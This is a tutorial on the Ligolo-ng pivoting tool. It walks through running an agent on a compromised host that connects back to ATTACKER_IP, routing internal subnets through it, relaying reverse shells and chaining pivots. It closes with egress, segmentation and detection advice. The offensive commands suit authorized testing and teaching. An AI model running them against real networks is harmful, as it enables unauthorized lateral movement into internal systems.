
Ligolo-ng, fully explained: a userland VPN for pivoting
SSH dynamic forwarding and chisel give you a SOCKS proxy, which means wrapping every tool in proxychains and losing anything that does not speak SOCKS cleanly. Ligolo-ng takes a different shape: it stands up a real network interface on your attack box and routes an internal subnet through the pivot at layer 3, so nmap, smbclient, netexec, and a browser all work exactly as if you were plugged into that network. It is, in effect, a userland VPN built out of one reverse connection from a host you already own.
How it works: proxy, agent, and a TUN interface
Two pieces. The proxy runs on your attack box and gives you an interactive console. The agent runs on the compromised pivot and connects back to the proxy over TLS (the agent dials out, which is what lets it work from a host that can only make outbound connections). Once an agent is connected, you create a TUN interface named ligolo on your attack box and add a route for the target subnet pointing at it. From then on the kernel sends any packet for that subnet into the ligolo interface, the proxy relays it over the agent's connection, and the agent emits it onto the internal network from the pivot's own vantage point. Return traffic comes back the same way. There is no SOCKS layer and no proxychains: it is ordinary routing, so every protocol works, including the chatty ones like SMB and MSRPC that choke over a SOCKS proxy.
Setup, attack box
Create the TUN interface once, then run the proxy:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert # listens on 0.0.0.0:11601 with a self-signed cert
Setup, pivot
Deliver the agent build that matches the pivot's OS and architecture (a Kali-native binary will not run on Windows, a common dead-pivot cause), then connect it back:
# on the pivot (reverse connection to your proxy)
./agent -connect ATTACKER_IP:11601 -ignore-cert
If the pivot cannot reach you but you can reach it, run the agent in bind mode (-bind) and connect the proxy to it instead. Add -retry so the agent re-dials if the link drops.
Wire up the route
Back in the proxy console, select the agent and inspect what it can see:
session # pick the connected agent
ifconfig # show the agent's interfaces and the subnets it touches
start # start the tunnel for the selected session
Then, on the attack box, route the internal subnet to the ligolo interface:
sudo ip route add 172.16.1.0/24 dev ligolo
Now reach the whole subnet directly: nmap -sT 172.16.1.0/24, netexec smb 172.16.1.10, a browser to an internal app, all unchanged. Recent ligolo-ng versions add an autoroute command in the console that reads the agent's interfaces and creates the TUN and routes for you; it is the quickest path, and the manual steps above are what it automates.
The gotcha that silently breaks the tunnel
Route the network address with its real mask, not a guessed /24. A pivot interface like 172.16.5.129/23 does not sit on 172.16.5.0/24: a /23 spans 172.16.4.0 to 172.16.5.255, so the route you want is 172.16.4.0/23, not 172.16.5.0/24. Add the wrong prefix and the route matches nothing, the tunnel looks dead, and you waste an hour on the link when the mistake was the mask. Compute the network address from the interface's real prefix first, and confirm with ip route that the inserted prefix actually covers the hosts you enumerated. (One step earlier: before setting any of this up, check whether the foothold already has a second NIC into the target network, because then you can run your tools on the pivot and skip tunneling entirely.)
Reverse listeners: catching a callback from inside
Routing lets you reach in; a listener lets the inside reach back. To catch a reverse shell from an internal host that cannot route to you, add a listener on the agent that relays to your handler:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
The internal target connects to the pivot on 4444, and ligolo relays that to 127.0.0.1:4444 on your attack box where your handler waits. listener_list shows them. This is the ligolo equivalent of an SSH remote forward, and it is how you move payloads and catch shells across the boundary without the internal host needing any route to you.
Double pivot
When the next network is reachable only through a second host, run another agent there. That second agent connects back through the tunnel you already have to the proxy, appears as a new session, and you add routes for the deeper subnet to the same ligolo interface (or a second one). Ligolo-ng handles multiple concurrent agents, so you can hold several pivots at once and switch between their sessions, extending the routed reach one hop at a time.
The helper: ligoloctl
The fiddly, forgettable part of ligolo is the attack-box plumbing: creating the TUN interface, adding routes with the correct network address and mask, and tearing all of it down cleanly when the engagement ends so you do not leave a ligolo interface and stray routes behind. The companion ligoloctl is a small dependency-free CLI that brings the interface up and down, adds and lists and removes routes while normalizing each CIDR to its network address (so the gotcha above cannot bite), tracks what it added in a local inventory, and has a cleanup that removes exactly what it created. It manages the OS side; the proxy and agent are still ligolo-ng's own binaries.
Defense
The agent is a process making an outbound TLS connection to an attacker, and the pivot then originates traffic to many internal hosts. Both are visible.
- Control egress. Ligolo depends on the agent dialing home. Default-deny outbound from server segments, with an allowlist of the destinations a host legitimately needs, removes the reverse connection entirely. An internal server opening TLS to an unknown external IP (ligolo's default port is 11601, but assume any port) is the primary signal.
- Catch the agent on the host. It is an unsigned binary dropped and executed from a temp or user directory. Application control (WDAC, AppLocker, or equivalent) and EDR stop or flag it, and process-creation logging shows it.
- Segment so a pivot reaches little. The value of a pivot is the subnets it can touch. Segmentation and host firewalls between tiers mean one compromised host cannot relay to a whole internal range.
- Watch the lateral fan-out. Because the pivot emits the routed traffic, one internal host suddenly scanning or connecting to many peers, or to ports it never normally uses, is the pivot in action; netflow and east-west monitoring catch it even when the tunnel itself is encrypted.
Detection
Victim-side signals, highest value first: an outbound TLS session from a server to an unexpected external host (self-signed certificate, odd port); a new unsigned binary executed from a writable path; and one internal host originating connections across a subnet it has no business scanning. Ligolo's default self-signed certificate has a recognizable fingerprint, and a reverse listener on the agent shows up as the pivot listening on a port it did not before. Correlate the outbound agent connection with the east-west fan-out that follows it; together they are the pivot, and either alone is worth a look.
Use
Authorized and educational use only: your own lab, a network you own, or an engagement with written permission. Run ligoloctl and route only networks you are authorized to reach, and tear the interface and routes down when you are done. This is the layer-3 counterpart to the SOCKS approach in SSH tunneling; decide which you need before reaching for either, and check first whether the foothold already routes to the target as covered in living off the land on Linux.